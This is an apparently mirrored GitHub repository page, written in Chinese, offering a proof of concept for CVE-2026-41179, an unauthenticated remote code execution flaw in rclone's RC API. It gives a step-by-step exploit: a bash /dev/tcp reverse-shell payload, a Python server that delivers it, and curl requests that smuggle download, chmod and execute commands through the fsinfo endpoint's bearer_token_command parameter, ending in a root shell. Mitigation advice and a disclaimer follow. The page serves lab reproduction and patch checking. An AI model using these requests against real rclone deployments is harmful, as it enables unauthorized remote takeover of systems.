pssec-io/CVE-2026-41179

GitHub: pssec-io/CVE-2026-41179

针对 rclone RC API 未授权 RCE 漏洞(CVE-2026-41179)的概念验证项目,提供完整的 Docker 漏洞复现环境和分步利用指南。

Stars: 0 | Forks: 0

# CVE-2026-41179 — rclone RC API 未授权 RCE ## 概述 **CVE-2026-41179** 是 rclone 内置 Remote Control (RC) API 中的一个严重的未授权远程代码执行 (RCE) 漏洞,影响版本 **1.48.0 到 1.73.4**。 | 详情 | 值 | |---|---| | **CVE** | CVE-2026-41179 | | **CVSS Score** | 9.8 (严重) | | **受影响版本** | rclone 1.48.0 – 1.73.4 | | **修复版本** | rclone 1.73.5 | | **组件** | RC API (`/operations/fsinfo` endpoint) | | **攻击向量** | 网络 — 无需身份验证 | ### 漏洞原理 rclone 自带一个内置的 HTTP 远程控制接口 (`rcd`)。`/operations/fsinfo` endpoint 接受用户提供的 `fs=` 字符串,该字符串会被解析并用于实例化一个 backend —— 包括 WebDAV backend。WebDAV backend 支持一个 `bearer_token_command` 参数,该参数被直接传递给 `exec.Command()` 而未经过滤。由于默认情况下该 endpoint 不需要任何身份验证,未经授权的攻击者可以以 rclone 进程用户的身份触发任意的操作系统命令执行。 **攻击链简述:** ``` POST /operations/fsinfo (no auth) → rc.GetFs() parses attacker-controlled fs= string → WebDAV backend instantiated with attacker params → bearer_token_command extracted → exec.Command() fires OS command → RCE as rclone process user ``` ## 仓库结构 ``` CVE-2026-41179/ ├── Dockerfile.rclone # Vulnerable rclone image (v1.69.3) ├── patched.Dockerfile.rclone # Patched rclone image (v1.73.5) ├── poc.sh # Reverse shell payload └── instructions # Step-by-step lab walkthrough ``` ## 实验环境搭建与利用 (分步指南) ### 前置条件 - Docker - 一个监听器:[penelope](https://github.com/brightio/penelope) 或 `netcat` - Python 3 (用于提供 payload 服务) ### 第 1 步 — 构建易受攻击的 Docker 镜像 ``` docker build -t rclone-vuln -f Dockerfile.rclone . ``` 构建一个基于 Debian-slim 的容器,运行 **rclone v1.69.3**,并在端口 `5572` 上暴露 RC API。 ### 第 2 步 — 运行易受攻击的容器 ``` docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln ``` 现在可以通过 `http://127.0.0.1:5572` 在未经授权的情况下访问 RC API。 ### 第 3 步 — 启动监听器 ``` penelope -p 5555 # 或 nc -lvnp 5555 ``` ### 第 4 步 — 配置 Reverse Shell Payload 编辑 `poc.sh` 并设置你的攻击者 IP 和监听端口: ``` #!/bin/bash bash -i >& /dev/tcp// 0>&1 ``` ### 第 5 步 — 通过 HTTP 提供 Payload 在 `poc.sh` 所在的目录下运行此命令: ``` python3 -m http.server 8888 ``` ### 第 6 步 — 将 Payload 下载到目标机器 ``` curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \ --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://:8888/poc.sh':' ``` ### 第 7 步 — 赋予 Payload 可执行权限 ``` curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \ --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':' ``` ### 第 8 步 — 执行 Payload ``` curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \ --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':' ``` ### 第 9 步 — 获取 Shell 检查你的监听器 —— 你应该会接收到来自容器的 root shell: ``` [+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64 [+] Shell upgraded successfully using /usr/bin/script! whoami root ``` ### 第 10 步 — 验证补丁 使用**修复后的镜像**重复第 1–8 步,以确认漏洞已被修复: ``` docker build -t rclone-patched -f patched.Dockerfile.rclone . docker run -d --name rclone-patched -p 5573:5572 rclone-patched ``` 向端口 `5573` 发送相同的 `curl` 请求 —— 命令应该不会被执行。 ## 修复建议 - **将 rclone 升级到 v1.73.5 或更高版本** —— 默认情况下现在会对所有 RC endpoint 强制执行身份验证。 - 如果你无法立即升级,请在启动 `rcd` 时带上 `--rc-user` 和 `--rc-pass` 参数以要求提供凭据。 - 通过防火墙规则限制对 RC 端口 (`5572`) 的网络访问 —— 切勿将其暴露给不受信任的网络。 - 考虑在启动脚本中显式使用 `--rc-no-auth=false`(这是修复版本中的新默认值)。 ## 免责声明 本仓库**仅供教育和经授权的安全研究目的使用**。此概念验证代码在一个受控的 Docker 实验室环境中演示了一个真实的漏洞。 **PSSec 及所有贡献者:** - **不**授权或鼓励未经系统所有者明确书面许可对系统进行利用。 - 对因使用本材料而造成的任何损害、数据丢失、法律后果或滥用**不**承担任何责任。 - 建议所有测试**仅在您拥有或获得明确测试授权的独立实验环境中**进行。 将此代码用于生产系统或不属于您的系统,可能会违反您所在司法管辖区的计算机欺诈和网络犯罪法律。 *CVE-2026-41179 — 由 PSSec 研究*
标签:CISA项目, Docker, PoC, RCE, 安全防御评估, 应用安全, 暴力破解, 请求拦截, 逆向工具